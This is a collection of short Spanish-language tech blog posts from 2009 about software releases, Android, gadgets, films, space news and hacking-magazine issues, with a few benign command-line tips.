     Key Status Monitor no es más que una pequeña aplicación en GTK+ escrita en Python, que básicamente, lo que hace es mostrar las pulsaciones de tecla y los clicks del ratón en pantalla. Y alguna se preguntará que vaya tontería, para que quiero yo eso. Pues te puede ser muy útil si eres de los que haces screencasts o vídeo tutoriales. Digamos que por ejemplo estás demostrando a alguien como copiar los ficheros de una carpeta a otra usando el teclado, Ctrl+a, Ctrl+c y Ctrl+v. ¿Cómo muestras eso por pantalla? ¿Escribes un texto en plan bocadillo de cómic diciendo: “ahora pulsa Ctrl+a para seleccionar todos los ficheros”? Desde mi punto de vista, este pequeño software, Key Status Monitor, le daría un toque profesional a tus vídeos en esos casos.

     Grúas de 15 toneladas controladas por WiiMote

     Visto en HackADay

     Acelera el arranque de Firefox 3.5 en Windows

     

     Según leo en lifehacker cuando Firefox 3.5 arranca hace algún tipo de operación aleatoria con los datos temporales, históricos y documentos recientes. La razón parece estar relacionada con la seguridad de alguna manera. Aunque según parece este comportamiento ha sido reportado como un error. De cualquier manera y mientras que esto no se soluciona, borrando los datos de las siguientes carpetas, ayuda a reducir el tiempo de arranque: C:\Documents and Settings*user*\Local Settings\History C:\Documents and Settings*user*\Local Settings\Temporary Internet Files C:\Documents and Settings*user*\My Recent Documents C:\Documents and Settings*user*\Temp\

     Android LiveCD

     

     Como os podréis imaginar, Android LiveCD no es más que eso, una live cd con Android para aquellos que quieran probarlo desde sus equipos. También podéis usar la imagen desde VMWare o VirtualBox, o sea, que no tenéis que quemar ningún cd y reiniciar vuestro ordenador.

     Aquí tenéis los pasos a seguir. Una pequeña nota para aquellos usuarios de Windows, para unir los trozos de la imagen también podéis usar copy /b fichero1+fichero2+.. fichero.iso

     Cámara en el tanque de combustible de la Lanzadera

     Impresionante, no te lo pierdas, hasta el final.

     Visto en GeeksAreSexy

     Sistema Operativo Google Chrome, confirmado (ya lo …

     

     Se ha confirmado por fin, hoy Google a anunciado su Google Chrome OS. Ya lo dijimos hace tiempo aquí en CyberHades.

     Basado en Linux y donde todo el peso lo llevará el navegador Chrome, promete velocidad, variedad de aplicaciones y sobre todo una gran portabilidad (si tienes Chrome puedes ejecutar las aplicaciones uses el SO que uses). Por supuesto estára basado en Internet y por tanto en el Cloud Computing (aún no tengo claro si esto es una ventaja o una desventaja).

     El adiós de Milw0rm

     

     El administrador de Milw0rm, Str0ke acaba de decir adiós y por consiguiente al cierre de una de las mejores páginas en la actualidad sobre hacking, no sólo por su contenido, si no también por lo actualizada que se encontraba. Recurso de indudable valor. Este es el comunicado del adiós:

     “Well, this is my goodbye header for milw0rm. I wish I had the time I did in the past to post exploits, I just don’t :(. For the past 3 months I have actually done a pretty crappy job of getting peoples work out fast enough to be proud of, 0 to 72 hours (taking off weekends) isn’t fair to the authors on this site. I appreciate and thank everyone for their support in the past. Be safe, /str0ke”

     AndroLib.com

     

     Para aquellos usuarios de Android, habrán notado que para buscar una aplicación lo debes hacer desde el teléfono o el dispositivo que uses con Android como sistema. Sorprendentemente, Google, creador de Android, de su mercado de aplicaciones y el motor de búsqueda por excelencia en internet, no proveía de ningún método “cómodo” para la búsqueda de aplicaciones en el mercado de Android. Por ese mismo motivo apareció AndroLib.com, una web que nos brinda de forma sencilla la búsqueda de aplicaciones para Android desde nuestro ordenador.

     bashreduce

     

     bashreduce es un proyecto relativamente nuevo el cual provee a la shell de bash de procesamiento paralelo. Basándose en la idea de mapreduce. Esta enfocado al procesamiento de datos. A groso modo, la idea es dividir los datos en fragmentos más pequeños y distribuirlos por distintos sistemas. De esta forma el proceso X correrá en cada máquina/procesador, pero sólo con una parte de los datos a procesar.

     Para su instalación debemos bajarnos los fuentes y compilarlos:

     TOP 5: los móviles más caros del mundo.

     

     El GoldVish (puesto 4) de 1.000.000$

     El anterior TOP móviles era de los más duros, ahora es de los más delicados. Van desde los 15.000$ hasta el 1.300.000$ … dedicado para todos aquellos que creí­an que el iphone era caro.

     1.- Vertu Signature Duo Stainless Steel: 14.833 $ (un bloque de acero y titanio)

     2.- Black Diamond: 300.000 $ (por ser edición limitada (¿?) de sony)

     3.- Vertu Boucheron: 350.000 $ (de oro macizo)

     Premio al mejor diseño...

     

     Lo último retro-geek. ;-)

     La cafeina invierte la pérdida de memoria por el …

     

     Los que somos adictos a la cafeina tenemos una nueva razón para tomarnos una taza de más. En la Universidad de South Florida investigadores del Florida Alzheimer's Disease Research Center han conseguido invertir los efectos provocados por el Alzheimer que tenía un ratón (ya bastante viejo) administrándole diáriamente el equivalente de cinco tazas de café. Han demostrado que la cafeina disminuye significativamente los niveles de proteinas vinculadas a la enfermedad del Alzheimer.

     La espectacular colección de máquinas recreativas …

     

     Listado de todas las máquinas recreativas que Michael Jackson tenía y que se iban a subastar:

     Catálogo de subasta Julien

     Y en este enlace un tour de 360º para verlas todas.

     Alucinante.

     Para que vayas haciendo la boca agua: Safari, Mortal Kombat, Tekken 2, Guitar Freaks, Galaxy Force II, Super Street Fighter II y dos versiones de Crazy Taxi

     Visto en Kotaku.

     Las caras de Space Invaders

     

      Visto en OffWorld

     Conversión de videos para Android

     

     Aquí dejo una pequeña nota a modo recordatorio de como convertir un video a un formato que sea entendido por Android o por lo menos para el G1. Esto ha sido probado desde una máquina Ubuntu 9.04

     ffmpeg -i video_entrada -aspect 3:2 -s 400x300 -vcodec libx264 -b 480k -r 23.976 -acodec aac -ab 96k -padtop 10 -padbottom 10 -padleft 40 -padright 40 -sameq -pass 1 video_salida.mp4

     Convierte cualquier superficie en un altavoz con …

      

     No necesitas altavoces externos con este aparato llamado Kerchoonz K-box, el cual puede convertir cualquier superficie en un altavoz. Tiene una entrada de jack (3,5 mm) estándar con lo cual puede funcionar con cualquier aparato de audio. Simplemente conecta tu dispositivo y coloca el K-box en la superficie que quieres convertir en altavoz … y ya está. Funciona bajo una patente de una tecnología de “Gel de Audio” y tiene el tamaño de un teléfono móvil.

     Funda PS2 para el iPhone

     

     Cuesta 20$ más 7$ si quieres también el mando.

     Visto en:

     Geekologie

     Y para comprarla:

     rabbitrampage

     Analizar el ancho de banda con Network Monitor

     

     Si eres administrador de alguna red de datos, seguro que alguna vez te ha pasado que algunas aplicaciones remotas funcionan lento, la carga de las páginas web también, etc … El problema seguro es que algún equipo está bombardeando la LAN con paquetes a causa de un virus, un error en la tarjeta de red, alguna aplicación P2P, etc … Pues con este plugin para el Network Monitor (aplicación gratuita para monitorizar redes)  puedes ver fácilmente qué ordenador es el que está consumiendo más ancho de banda en la red.

     Roller Babies

     Visto en GeeksAreSexy

     La historia de X Window

     

     Repaso genial a toda la historia de nuestro querido sistema de ventanas para Linux, X Window.

      Que levante la mano aquel que no se haya peleado alguna vez con los ficheros de configuración de este entorno …

     Ahora los tiempos han cambiado, y ahora los gestores de ventana ya vienen por defecto en la mayoría de las versiones desktop de todas las distribuciones, como Gnome o KDE.

     Código fuente de algunos clásicos de Atari

     

     La Atari Historical Society ha sacado de forma NO OFICIAL el código fuente de algunos de los juegos clásicos para la Atari 7800. Algunos de estos juegos son el Centipede, Xevious, Robotron, Galaga, etc ...

     Según Atari Museum, estos juegos fueros rescatados de disquetes en formato Atari ST que fueron tirados cuando dejaron sus oficinas en 1996.

     La intención de publicar este código es  fomentar el "homebrew" (programación casera) para que la gente siga programando bajo esta clásica plataforma.

     Confirmado: los agujeros de "masa intermedia" …

     

     El pequeño agujero negro visto en rayos x

     Científicos británicos detectan un agujero negro de sólo (¡¡??) 500 veces la masa de nuestro sol. Hasta ahora no se había registrado uno de estas dimensiones y muchos dudaban que existiera, principálmente porque algunas de las teorías físicas que se aplican a estos gigantes estelares ahora no son válidas. El peque de la familia se encuentra en la galaxia ESO 243-49.

     "The blue pale dot" (Carl Sagan)

      

     "The blue pale dot" o "El punto azul pálido", es un increible discurso (dentro de la serie Cosmos) del grande de los grandes, maestro de los maestros, Carl Sagan. Se le ocurrió la idea de hacer girar la sonda Voyager 2 para ver si podía fotografiar la Tierra cuando ya estaba más allá de Saturno ... y lo logró. Quería demostrar que no somos más que un punto azul pálido en la inmensidad del Cosmos, que todas nuestras guerras, dinero, problemas, etc ... se quedaban allí, en esa minúscula luz azul. Era una buena oportunidad para hacer ver a todos los que habitamos la Tierra que realmente, no somos nada y que tenemos cuidar y aprovechar todo el tiempo que pasamos en este pequeño punto azul.

     MODDING EXTREMO: fabricación completa propia con …

     

     Detrás de este ingenio de metales me imagino a un maestro enano herrero forjando con fuego y agua. Impresionante la fabricación paso a paso de todas y cada una de las piezas. Hace coincidir milimétricamente todos los chips de la placa base y tarjetas gráficas para que estén en contacto con el cobre que, a su vez, está en contacto internamente con el líquido. Todo un arte.

     VirtualBox 3

     

     Parece ser que los grandes del Software Libre nos quieren refrescar el verano con nuevas versiones de sus productos estrella. En este caso la versión 3 de VirtualBox. Como novedades, además de una lista considerable de pequeños errores corregidos, nos traen:

     • Soporte de hasta 32 CPUs virtuales.
     • Soporte para Direct3D 8/9 en las máquinas huésped Windows. Aunque esta característica esta en modo experimental.
     • Soporte de OpenGL 2.0 para máquinas huésped Windows, Linux y Solaris.

     Habrá que ir probándolo.

     Trailer de "Moon", esto promete

     Ya te hablamos de “Moon” en CyberHades, ahora no te pierdas el espectacular trailer en HD (no te olvides de marcar “HD” antes de verlo):

     Idea genial para cargar baterías

     

     Básicamente es una pinza que se conecta a los conectores de la batería y luego tiene un terminal usb. Una idea fantástica que de momento funciona para baterías de cámaras de video y tipo DSLR. Hombre tampoco es que sea muy útil pero creo que abre un campo de buenas ideas adaptables a otro tipo de baterías y dispositivos como por ejemplo crear una pinza adaptable para cualquier tipo de conector de batería y luego al usb ...

     Nuevas fotos de "Alicia en el Pais de las …

     

     Esta película promete, ya lo hemos comentado antes en CyberHades.

     Si quieres ver más fotos: SlashFilm

     Visto en:

     Suvudu

     Filtradas imágenes de las nuevas Nikon D3000 y …

     

     Esta es una de las imágenes que supuestamente se han “escapado” de los talleres nikon. Una famosa web polaca las ha publicado y, poco después, las ha retirado por motivos desconocidos. En teoría, esta cámara sumaría en prestaciones a su antecesora la grabación de video en HD 720p.

     Un gran paso para las reflex… o no.

     Más info en quesabesde.

     Teclado de chocolate

     

     Visto en: GeekOkologie

     Robot Parkour, anuncio de Nike

     The Runner -Exploit yourself- from BLR_VFX on Vimeo.

     Visto en Techeblog

     Masters Of Doom

     

     Este es el libro que acabo de recibir de Amazon, estaba deseando pillarlo para leerlo este verano (junto a 5 libros más ;) ). En él se detalla la historia del videojuego que posiblemente revolucionó toda la industria, el DOOM, creado por John Carmack y John Romero (lágrimas caen por mi mejilla sólo de pensar en los días meses que pasé enganchado a este juego, a veces no me creía lo que estaba viendo).

     Firefox 3.5

     

     Acaba de hacerse pública la versión 3.5 del archiconocido navegador Firefox. Después de 3 versiones candidatas antes de la versión en el mes de Junio y justo un año después del lanzamiento de la versión 3. Entre otras, las características que esta nueva versión nos ofrece son:

     • Soporte de la versión 5 de HTML.
     • Visualización y edición de vídeos en formato OGG desde dentro del propio navegador, sin herramientas externas.
     • Nuevo motor para la ejecución de JavaScript (TraceMonkey).
     • Modo de navegación privada.
     • Nuevos servicios de localización.

     Habrá que instalarlo y empezar a probarlo a ver que tal.

     Opciones de seguridad en Bash

     

     En security by default hicieron público un artículo donde comentan algunas de las bondades que nos ofrece la shell de bash desde el punto de vista de la seguridad. Un artículo muy ameno de leer y que nos introduce muchas curiosidades que al menos yo no conocía.

     Aquí podéis encontrar la entrada original.

     Too many failed attempts

     

     Ese era el error que me encontraba cuando intentaba imprimir desde Evince en la impresora que tengo compartida por la red. Firefox ni siquiera se molestaba en devolverme algún mensaje de error. El problema un error desde Ubuntu 8.10 que viene arrastrando, porque la versión que yo uso es la 9.04. El kit de la cuestión lo encontramos si revisamos los logs the cups.

     tail -f /var/log/cups/error_log E [27/Jun/2009:19:30:30 -0400] Print-Job: Unauthorized

     Eclipse Galileo

     

     Eclipse Galileo es el nombre de la última versión de este gran editor de programación. Aquí pódeis encontrar el anuncio oficial y aquí la página oficial de este nueva versión. De entre la mejoras en esta versión parece que han mejorado el autocompletado, la gestión de plugins y los tiempos de respuesta además de como se anuncia en la nota de prensa: soporte de Cocoa 32 y 64 bits en Mac, nuevo analizador de memoria, mejoras en las herramientas de desarrollo PHP, mejoras en BIRT, nuevas herramientas XSL y mejoras en el sistema de modelado. En fin, parece que ha habido mucho trabajo detrás de esta nueva versión. ¡Yo ya me lo estoy bajando!

     Top 10 cápsulas del tiempo

     

     Las cápsulas del tiempo  (este enlace de la WikiPedia te explica perfectamente el concepto) se utilizan para almacenar diferentes objetos del presente para generaciones futuras puedan encontrarlos. La más famosa sea posiblemente la que lleva las sondas Voyager (si se puede considerar cápsula). Ahora está de moda ya que la película Señales del Futuro comienza con un mensaje encontrado en una de estas cápsulas. Lo curioso es que aunque esta moda pueda parecer relativamente reciente, al parecer este concepto aparece en la primera obra literaria de la Humanidad, El Poema de Gigamesh.

     Estimated Time of Arrival

     E.T.A. by JUNK from Henrik Bjerregaard Clausen on Vimeo.

     Muy pero que muy bueno … ;)

     Visto en GeeksAreSexy

     Encelado podría contener vida

     

     La pequeña luna de Saturno, Encelado (de la que ya hemos hablado antes en CyberHades) con 500 km de diámetro, podría tener tres ingredientes necesarios para la vida, según un estudio realizado por científicos europeos.

     Una es la energía, producida por las mareas impresionantes que debe de tener ya que se encuentra sometida a tremendas fuerzas gravitacionales producidas por sus hermanas lunas y sobre todo del gigante Saturno.

     Top 10 de los "móviles todoterreno"

     

     Hay “móviles todoterreno” y otros que dicen que lo son. Esta lista está aquí para diferenciar unos de otros. Están diseñados para resistirlo casi todo: golpes de varios metros de alto, agua, polvo, hielo, fuego y el peso de varios coches pasándoles por encima sin ni siquiera rallarse la pantalla… aguantarían hasta las radiaciones solares. La mayoría están fabricado bajo especificaciones militares y poseen todos los avances tecnológicos (bt, wifi, 3G…) de cualquier teléfono “de calle”. Sus precios suelen ser bajos en comparación con lo que ofrecen. El de la foto ocupa el puesto 9 y liberado cuesta alrededor de los 200€.

     BattleStar Galactica, The Plan

     … madre mía, contando las horas estoy para ver esta nueva película de BSG. Esta vez nos cuentan la historia desde el punto de vista de los Cylon …

     Ojo amigo Freeman, que aún nos queda algo más que saborear ;)

     Más información en:

     ZonaFandom

     Consejos para hacer la Web más rápida (por Google)

      

     En Google Code nos ofrecen varios consejos de programación para optimizar nuestras páginas Web para hacerlas más rápidas. Viniendo de Google, tendremos que hacerles un poco de caso ¿verdad?.

     Desde optimizar el código JavaScript a optmizar los gráficos Web, en este enlace podrás ver todos los consejos ofrecidos:

     http://code.google.com/intl/es/speed/articles/

     Conecta tu mando de PS y PS2 a la Wii

     

     A través del WiiMote, usando este interface que cuesta unos 18,50 $, podrás conectar tu mando de PS y Ps2. Hombre no es tampoco de mucha utilidad pero para los juegos de la consola virtual y algún otro arcade podemos reutilizar nuestro viejo mando de PS2.

     Para comprarlo, aquí.

     Visto en Kotaku.

     Cómo se fabrican las piezas del Tetris ...

     TETRIS CF #1 from WooDUS on Vimeo.

     Visto en:

     OffWorld

     Caja de fábrica con juegos originales Zelda

     

     El sueño de cualquier fan de la saga Zelda. La caja contiene 6 juegos de Zelda para la SNES sin abrir, sellados, sin mancillar ;) (y en versión PAL).

     Visto en Kotaku

     Primeras impresiones del HTC Hero

      

     Al parecer, el dispositivo definitivo para Android.  Algunas de sus nuevas características son el sistema de navegación llamado "Sense UI", que mejora bastante la forma de usar  la pantalla táctil, que no tiene trackball como el HTC Magic (esto no sé si es bueno o malo), incluye un jack para auriculares de 3,5 mm ... 

     Algunos datos técnicos: microprocesador es un Qualcomm MSM7200A a 528MHz, 512MB de ROM y 288MB RAM, LCD TFT de 3,2 pulgadas y resolución de 320x480, 900/2100MHz HSPA y cuatribanda GSM, trackball, GPS, 802,11b/g WiFi, jack de 3,5 mm, brújula, cámara de 5 mpx con autofocus y microSD.

     ¿Dónde están las Voyager?

     

     El nuevo viaje del hombre a la luna hace que resurjan antiguas preguntas sobre "¿qué hicimos y dónde está?"

     Las sondas actualmente están en la heliopausa (frontera entre el sistema solar y el espacio interestelar), a casi mil millones de kilómetros del Sol. Esta frontera no es meramente una linea, es el punto en el que desaparece “la protección” magnética y aparecen vientos solares potentísimos provenientes de otras estrellas que son millones de veces más grandes que nuestro sol. De hecho no se sabía si las sondas aguantarían semejante golpe (en el gráfico: “TERMINATION SHOCK”). La Voyager 2 superó la prueba en agosto del 2007. Actualmente llevan recorrido la suma de 3 veces nuestro sistema solar (unas 100 UA). Su velocidad es de 17 Km/s.

     Cómo reparar los pixeles "muertos" en pantallas …

     

     En Instructables nos explican la forma usando como ejemplo la pantalla LCD de un teléfono, pero la misma técnica se puede usar para todo tipo de dispositivos LCD (pantallas de TV, portátiles, etc ...). Usando un borrador de un lápiz, una pistola de aire caliente (no sé si un secador podría servir también) y un destornillador (para desmotarlos). En el ejemplo logra reparar su teléfono en menos de 10 minutos.

     Marte en Alta Definición

     Imágenes REALES del sobrevuelo de la sonda Mars Reconnaissance Orbiter a Marte durante estos últimos 3 años.

     Toda la información en Fogonazos, donde podrás ver también el resto de videos.

     Adiós al Kodachrome

     

     Una de las primeras fotografías a color (~1909).

     Depósito de contenido libre.

     “La primera película diapositiva moderna en color fue la Kodachrome, la cual fue introducida en 1935 y fue basada…” seguir enlace wikipedia.

     Kodak anuncia la retirada de un producto que marcó todo un hito en la historia: el Kodachrome. Según kodak, y tras 74 años a la venta, el stock de este producto podría alcanzar hasta octubre de este año, pero no más.

     AutoHotkey, herramienta para macros y …

     

     Windows

     Interesante programa gratuito para crear todo tipo de macros y automatización del ratón y teclado, que al parecer es bastante conocido. Para poder sacar partido tienes que estudiar un poco el lenguaje script de AutoHotKey, pero cuando llegas a controlarlo es bastante poderoso y adictivo de programar.

     Muy útil para realizar automatizaciones de tareas adminitrativas o repetitivas, pero ojo, es muy completo pero también algo complejo.

     La abuelita Caravater

     Otra perla de los amigos de  Muchachada Nui, no os la perdáis.

     La abuelita caravater

     La WikiPedia en Papel ...

     

     Rob Matthews ha decidido crear en papel la Wikipedia con 5.000 páginas donde se muestran sólo los featured artícles.

     Visto en Neatorama

     Mogwai Fear Satan

     Mogwai

     Una buena canción para un domingo de calor por la tarde …

     Kaguya/Selene, el video final del impacto

      

      Alucinante.

     Sonda Kaguya/Selene

     Visto en:

     Microsiervos

     ELÉCTRICO ≠ LENTO

     

     El coche alcanza los 333 Km/h, la moto los 240 Km/h y pasan de 0 a 100 Km/h en apenas 2,5 segundos. Los dos saldrán a la venta en 2010. El coche es el Shelby Aero EV y la moto es la Mission ONE ganadora de múltiples competiciones de motociclismo eléctrico.  Los de shelby aseguran que su coche se cargará por completo en unos 10 MINUTOS!!! y hablamos de autonomías cercanas a los 300 km de recorrido. Aunque su precio es exorbitado se podría decir que la tecnología de “emisiones 0%” está completada, lo sentimos señores del petróleo. Ahora sólo queda esperar a que bajen sus precios…

     Post-it + Stop motion

     y el video de como se hizo:

     Cubismo Rubik

     TOP 10 by extermitent

     Aumentan los jugadores de "El Señor de los …

     

     ¿Empieza la gente a cansarse del World of Warcraft?

     De todas formas posiblemente el motivo sea que es un buen juego, tendremos que probarlo. LOTR

     Visto en:

     Kotaku

     10 características del nuevo FireFox 3.5

      

     Aún en fase de desarrollo, esta nueva versión traerá una serie de cambios muy interesantes.

     10. Restaurar ventanas cerradas.

     9. “Forget this site”, elimina la información de una dirección en concreto.

     8. Desplazar pestañas, ahora podrás sacar una pestaña del navegador como si fuera otra ventana nueva.

     7. Mejoras en las sugerencias de la barra de navegación, para acelerar y completar lo que has escrito.

     "Edge", juego para iPhone

     Un motivo más para conseguir un iPhone ;)

     Web principal

     http://www.mobigame.net/

     ¿Por qué todos los Terminators se parecen a un …

      

     ¿Nunca te has preguntado el motivo por el cual todos los Terminators T-1000 se parecen a un mismo modelo (Arnold Schwarzenegger)?

     En el video tienes la respuesta, es un poco cómico pero al menos despeja la duda (y de paso hunde más en el fango a el bodrio Terminator 3).

     Esta escena se eliminó finalmente pero puedes encontrarla en el DVD de la película.

     Visto en GeeksAreSexy

     Nuevo viaje del hombre a la luna... pero para …

     

     (Imagen: JUSTIN DERNIER / EFE)

     Esta foto pertenece al despegue en Cabo Cañaveral, Florida, de la misión de la NASA para preparar el regreso a la Luna. 50 años después de las misiones de Apolo el jueves se lanzó el cohete Atlas V “con dos cápsulas científicas que tienen como objetivo encontrar una localización idónea para el alunizaje. Un terreno con agua y otros elementos que permitan una presencia prolongada del hombre.” El segundo asalto humano a la luna será en el 2020.

     Análisis de los primeros milisegundos de una …

     

     Usando WireShark (analizador de red), el autor del post Jeff Moser analiza toda la información que transcurre en los primeros 220 milisegundos de una conexión HTTPS a amazon.com desde FireFox.

     Alucinante el detalle y muy pero que muy educativo, recomendamos que le echéis un vistazo:

     MoserWare

     Visto en Menéame.

     Alucinante juego shooter, "ARHRRRR" usando …

      

     Aprovechando los giroscopios, acelerómetros y la cámara de muchos dispositivos, este juego nos muestra un escenario virtual sobre la imágen real de la cámara. En el video puedes ver como se acerca la cámara a un dibujo de la ciudad que luego se recrea en 3D sobre la pantalla del dipositivo ...  El objetivo es defenderla de zombies y para moverte tienes que hacerlo de verdad (en el caso del video, alrededor de la mesa donde en el centro está un plano de la ciudad), tienes que ir moviéndote para colocarte en los lugares estratégicos para poder disparar a los zombies a la vez que esquivas las minas de proximidad (puntos naranjas). Sobre el plano también se coloca otros maracadores que suponemos serán para objetivos, enemigos, etc ... El código está desarrollado usando la plataforma  Tegra mobile chip, de NVidia.

     Línea temporal de las (algunas) películas de …

     

     Curioso, interesante y sobre todo muy geek, donde puedes ver en qué año se desarrollan las películas más emblemáticas de la Ciencia Ficción (faltan muchas).

     La barra oscura (el año 2000 es la fecha divisoria) de la izquierda en el cuadro indica cuando fue realizada y la barra de la derecha indica el año donde se desarrolla.

     Para ver al cuadro a tamaño completo visita:

     SciFiWire

     ... y llegó Opera Unite

      

     Linux, Windows y Mac

     Ya avisamos de la nueva versión del navegador Opera:

     Opera el 16 de junio

     Hoy ya puedes descargarte desde su Web la nueva versión de este clásico navegador, un "poco" mejorado. Su nombre es Opera Unite, resumiendo mucho, lo hace es convertir tu navegador también en un servidor, usando incluso los recursos de tu equipo para compartirlos en la Web.

     Parece una idea intenresante, yo ya lo tengo descargado y comenzaré a probarlo, ya os contaré.

     FANUC M-430iA, esto sí que es un brazo robot

     Visto en:

     GeeksAreSexy

     Aspire ONE con ANDROID

     

     Acer anuncia que para agosto introducirán ANDROID como sistema operativo en los netbooks, y adelantan que “la mayoría de netbooks Acer también ofrecerán Android en el futuro”

     Ojo: la publicidad (fondo de pantalla) viene así en la nota de prensa. Más info en engadget

     Número 21 revista gratuita (In)Secure, magazine de …

     

     Nuevo número (21) de una de nuestras revistas favoritas, y esta vez hacen un repaso sobre la seguridad del nuevo Windows 7.

     Índice de esta fantástica revista:

  2. Malicious PDF: Get owned without opening
  3. Review: IronKey Personal
  4. Windows 7 security features: Building on Vista
  5. Using Wireshark to capture and analyze wireless traffic
  6. “Unclonable” RFID - a technical overview
  7. Secure development principles
  8. Q&A: Ron Gula on Nessus and Tenable Network Security
  9. Establish your social media presence with security in mind
  10. A historical perspective on the cybersecurity dilemma
  11. A risk-based, cost effective approach to holistic security
  12. … Y mucho más

  Primera moto acuática eléctrica

  Es increíble lo silenciosa que es, sólo se escucha el agua moverse. Parece que nos vamos dando cuenta de la situación. Ahora a ver como reciclan esas baterías.

  Más info en inglés aquí.

  El nuevo corto de Pixar, "Party Cloud"

  

  Esta maravilla de la animación se proyectará justo antes de la película también de Pixar, “UP”.

  Puedes ver el video en este enlace.

  Visto en TheFireWire

  Cómo hacer tu primer robot

  

  Ya hemos hablado en CyberHades varias veces de cómo hacer un robot.

  Este es el enlace donde mejor detallado te lo explica, puedes incluso descargar en PDF todas las instrucciones. El robot cuesta aproximadamente 85$ y según hemos visto en las intrucciones es bastante completo y fácil de montar. Usa un microcontrolador llamado Picaxe que utiliza una conexión RS-232 para volcar el código. En las mismas instrucciones te indican varios links donde comprar los componentes. No usa componentes raros hechos a mano (que nunca puedes conseguir) ni tampoco es un kit, con lo cual se convierte en un perfecto tutorial para tu primer robot.

  Macetero Tetris

  

   

  Visto en Kotaku.

  Opera lanzará el 16 de junio su nuevo navegador

  

  Con el anuncio “vamos a reinventar la Web”, parece que se centra bastante en el cloud computing.

  La única información que existe está en:

  http://www.opera.com/freedom/

  Puedes tener más información en:

  MuyComputer

  Pero hasta el martes día 16 no sabremos exactamente las nuevas características de este navegador.

  Otro más para la colección ;)

  Cartera Atari

  Muy geek pero ¿quién quiere llevar esto en el bolsillo? ;)

  Visto en HackADay

  Pokemon, pixel a pixel

  

  Bonito mosaico (estilo retro) con todos los gráficos  de Pokemon RPG.

  Visto en:

  Kotaku

  Imágen completa aquí.

  Últimas noticias sobre "El Hobbit"

  

  Si quieres ponerte al día de la situación de la gran esperada película “El Hobbit”, echa un vistazo la web de ZonaFandom para estar al día de las últimas noticias de esta película de nuestro querido y venerado San Guillermo del Toro.

  Os adelanto algunas cosillas, repiten actores tanto Gandalf como Elrond, que Peter ya tiene a su Bilbo pero no se ha hecho público aún, que serán dos películas, etc …

  Cómo hacer fuego con la batería de un teléfono …

  Como buen geek que eres, posiblemente te llevarías tu teléfono/pda/portátil a una isla desierta en vez de algo más útil ;) , así que por lo menos, aquí tienes la forma de hacer una hoguerita con él.

  Visto en:

  LifeHacker

  El CandyFab 6000

  

  Este proyecto que tiene su wiki y todo, es para crear una especie de impresora en 3D pero no para crear objetos, sino para hacer todo tipo de pasteles y caramelos, ya que puede usar el azúcar como componente. Está fabricada con componentes de viejos equipos como por ejemplo plotters y lleva como CPU un microcontrolador Zuccerino.

  Todavía está en fase de desarrollo pero ya puedes ver algunos resultados y toda la electrónica utilizada en su wiki.

  Phrack 66

  

  Si hace una semana escasa, nuestro compañero DuenD nos avisaba del lanzamiento de un nuevo número de la que posiblemente es la mejor ezine de hacking en nuestra lengua, SET, ahora nos llega la que es sin duda alguna la mejor ezine de hacking, eso sí, en inglés. Aquí tenéis el índice:

  Introduction Phrack Prophile on The PaX Team Phrack World News Abusing the Objective C runtime Backdooring Juniper Firewalls Exploiting DLmalloc frees in 2009 Persistent BIOS infection Exploiting UMA : FreeBSD kernel heap exploits Exploiting TCP Persist Timer Infiniteness Malloc Des-Maleficarum A Real SMM Rootkit Alphanumeric RISC ARM Shellcode Power cell buffer overflow Binary Mangling with Radare Linux Kernel Heap Tampering Detection Developing MacOs X Rootkits How close are they of hacking your brain

  Nueva versión del kernel de Linux

  

  Ya podéis descargar y compilar la última versión (2.6.30) del kernel de nuestro sistema operativo favorito. Calentito, calentito. ;-)

  Podéis leer un extracto en castellano de algunas de las más importantes novedades aquí.

  No alargo el post, que me pongo inmediatamente manos a la obra… ;-)

  Visto en barrapunto.

  El Constitucional francés censura la ley anti P2P

  

  La controvertida ley Hadopi que pretende regular las descargas de Internet en el país galo mediante un sistema de respuesta graduada que en última instancia suponía la desconexión de los usuarios de la Red después de recibir dos avisos previos sobre su actividad sin que tuviera que mediar decisión judicial alguna.

  El Consejo ha decidido que hay dos cuestiones en esa ley que vulneran la constitución, que son por un lado que la ley en cuestión coarta la libertad de expresión y comunicación de los ciudadanos al privarlos del acceso a Internet, de la que en concreto menciona su «importancia para la participación en la vida democrática y en la expresión de ideas y opiniones», y por otro que ignora la presunción de inocencia de estos

  Google presenta: Google Wave

  

  Parece que Google a reinventado el correo electrónico para la web moderna. Emails, mensajería instantánea, comentarios al estilo blog, históricos, revisiones, documentos colaborativos, etc … todo esto hecho en Ajax y en una sóla aplicación, gracias al nuevo estándar HTML 5 que soportan los nuevos navegadores.

  Y ahora parece que se hace más real nuestra sospecha desde el principio, Google está creando una seríe de herramientas y plataformas para crear un verdadero sistema operativo (nuestras sospechas empezaron con Google Chrome). Hecha un vistazo a este enlace si quieres más información sobre las extrañas y demasiado potentes características de Google Wave.

  PSP Laptop

  

  Todos los detalles en:

  AcidMods

  El nuevo iPhone 3G S

  

  El nuevo iPhone de Apple parece el mismo pero nada más lejos de la realidad. El iPhone 3G S ("S" de Speed) es mucho más rápido y algunas tareas se ejecutan hasta 4 veces más rápido. Con HDSPA puedes llegar hasta 7.2 Mbps y la cámara tiene ahora 3 Megapixels con autofocus (además de video a 30fps). La batería también se ha mejorado con la que puedes tener ahora hasta 5 horas con 3G y hasta 9 horas conectado a una WiFi.

  Unix cumple 40 años este verano

  

  En Agosto de 1969 un programador de AT&T Bell Laboratories llamado Ken Thompson, después de ver que tenía un mes por delante (su mujer y su hijo se fueron de viaje) aprovechó para ordenar sus ideas sobre un nuevo sistema operativo y pasarlo a la práctica. Escribió la primera versión de Unix en ensamblador (con dos cojones, como hacen los hombres de verdad) en un DEC PDP-7 miniordenador. La primera semana se ventiló el sistema operativo, la segunda el shell, la tercera un editor y la última un ensamblador .

  Logitech Squeezebox Controller

  

  Buscando un sistema de sonido para casa me he encontrado con el Logitech Squeezebox. Es un reproductor de musica en red que nos permite reproducir la musica que tengamos en el ordenador, sintonizar emisoras de internet y mucho mas.

  Como podeis ver en el siguiente video su manejo es semejante al de un iPod, navegamos por nuestra musica y reproducimos (en el caso del Squeezebox Duet necesitamos un equipo que lo reproduzca), incluso podemos visualizar las caratulas.

  Jeff Moss, de hacker a asesor de Obama

   

  Jeff Moss ó Dark Tangent es el fundador de la Black Hat y la DEFCON ha sido incluido en las 16 personas que forman parte en el Consejo Asesor de Seguridad Nacional de los EE.UU (HSAC). Allí trabajara con agentes del FBI y la CIA asesorándolos en temas de seguridad cibernética.

  El artículo complento en:

  MuyComputer

  PD: Kevin Mitnick no está muy de acuerdo, piensa que sería mejor nombrar a Bruce Scheneier.

  Los 10 lugares más espectaculares para nadar …

  

